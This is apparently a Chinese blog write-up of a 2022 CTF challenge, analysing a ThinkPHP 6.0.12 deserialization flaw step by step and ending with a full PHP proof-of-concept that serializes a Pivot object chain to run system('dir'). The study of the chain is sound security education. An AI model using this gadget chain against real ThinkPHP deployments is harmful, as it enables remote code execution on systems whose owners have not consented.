Thinkphp-6.0.12反序列化漏洞分析

2022国赛 —ezpop

题目地址:下载

前言

本题是一个代码审计的题,题目就存在于web目录下的www.zip中

由于存在源码,所以就用源码搭建靶场 : ezpop.com

涉及的漏洞:是ThinkPhp v6.0.x反序列化漏洞

预备知识 __destruct() 销毁时触发 __construct() php中构造方法是对象创建完成后第一个被对象自动调用的方法。在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。 $closure 闭包函数

打开控制器,查看反序列化可控点:

我们首先测试一下这个反序列化的可控点能不能利用:

  http://ezpop.com/index.php/index/hello

目标:用__destruct()调用 __toString() 再产生匿名函数,最后执行代码

所以我们这个php反序列化链分为三个部分一个是__destruct()触发 __toString()魔术方法,第二个是执行代码, 最后一个是整合并写出poc

第一部分

这次的漏洞方法就开始于Model.php这个文件的Mode类下的__destruct()魔术方法

并且这个Model类是一个抽象类

__destruct()方法中,我们把 this->lazySave设为True 之后就可以进入到save() 方法中 ,然后得到第一个条件:

$this->lazySave = Ture;

跟进save方法:

首先不能让异常直接返回false,所以第一个if判断需要绕过,让isEmpty()返回假,然后我们进入 $this→isEmpty()

需要 $this→data 不为空,然后我们得到第二个条件

$this->data = [不为空];

回到save函数中,之后我们需要进入到updataData() 方法中,需要让方法 $this→exists 为真,然后得到第三个条件:

$this->exists = True;

接下来就可以进入到 updateData()方法中:

updateData()中的 $this->trigger()默认返回false,就不管了

之后的方法大多没有用,直到$this->checkAllowFields()这个方法,跟进方法:

$this->checkAllowFields()方法中有一个$this→db()的方法,这个方法中有一段代码:

出现了字符串拼接,然后如果拼接一个有__toString()方法的对象,就会触发这个方法

然后我们回过头去看调用这个db() 方法的条件:

$this->field 为空,

$this->schema 为空,

然后发现默认就是空,

也就是说这个db()默认就可以直接调用

而在这个db()中就有字符串拼接:

其中的this→table()方法可以触发__toString()方法

得到第四个条件:

$this->table = $obj;

第二部分

先全局搜索__toString()

发现在vendor\topthink\think-orm\src\model\concern\Conversion.php中的trait类(可以实现代码复用的抽象类) Conversion中存在__toString()方法:

进入 toJson() 方法中

这里是调用 $this→toArray(),然后将返回值用json编码返回,我们进入到 $this→toArray()方法中

** getAttr($key) 中的$key来自于$this→data**中的key值

进入到getAttr()方法中,这个方法定义在Attribute.php的trait Attribute()中 :

getValue() 方法就是漏洞方法,但是传入其中的参数value是需要通过getData()生成的,然后我们进入

getData()的方法看一下如何生成value参数:

$this→data的值是可以控制的,也就是说当运行到第二个return的时候,就表示这个getData()方法返回可控。

所以我们需要给getData()传入一个$this→data的key值,然后通过这个方法获得$this→data的value值

** getValue()传入的参数是 $this→data中的键和键值对**

现在getData()方法也可控了,回到getAttr()方法中,然后进入漏洞方法getValue()

需要确保$fileName $this->json中并且$this->withAttr[fieldName]存在,然后得到第五个条件:

$this->withAttr = ['' => ['']];    // 键$filename所对应的值存在
$this->json = ['', ['']];          //存在$filename , $filename 即$this->data的键

现在进入方法getJsonValue()中:

$this→jsonAssoc为真的时候,就可以返回一个闭包函数,然后我们通过传入的参数,就可以控制闭包参数里面的内容第六个参数:

$this->jsonAssoc = True;

这个闭包函数是把$this→withAttr 中和$this→data具有同样键的键值元素组成闭包函数,然后返回,第七个参数:

$this->data = ['a' => ['dir']];          //a是可以随便写的,只要四个a地方值相同就可以
$this->withAttr = ['a' => ['system']];
$this->json = ['a', ['a']];              //两个json是为了传入两次

第三部分

由于之前的Modle和Conversion类都是抽象类,所以需要寻找一个调用了这两个类的可以实例化的类,通过搜索我们发现Pivot()类是Model的一个子类:

最后实例化这个Pivot()就可以完成上面的操作。

编写poc:

首先建好命名空间,

namespace think {
  abstract class Model
  {

  }

}

然后Model中我们需要的变量:

        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;

然后初始化这些变量:

function __construct($obj = '')
        {
            $this->lazySave = True;
            $this->data = ['a' => ['dir']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['a' => ['system']];
            $this->json = ['a', ['a']];
            $this->jsonAssoc = True;
        }

然后初始化Pivot:

namespace think\model {

    use think\Model;

    class Pivot extends Model
    {
    }
}

执行:

namespace{
$a = new think\model\Pivot(); //第二条链
$b = new think\model\Pivot($a);//第一条链
echo(urlencode(serialize($b)));
}

最终效果:

<?php
namespace think {
    abstract class Model
    {   private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = '')
        {
            $this->lazySave = True;
            $this->data = ['a' => ['dir']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['a' => ['system']];
            $this->json = ['a', ['a']];
            $this->jsonAssoc = True;
        }
    }

}
namespace think\model {

    use think\Model;

    class Pivot extends Model
    {
    }
}
namespace{
    $a = new think\model\Pivot(); //第二条链
    $b = new think\model\Pivot($a);//第一条链
    echo(urlencode(serialize($b)));
}

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本站及文章作者不为此承担任何责任。

本站拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经本站允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇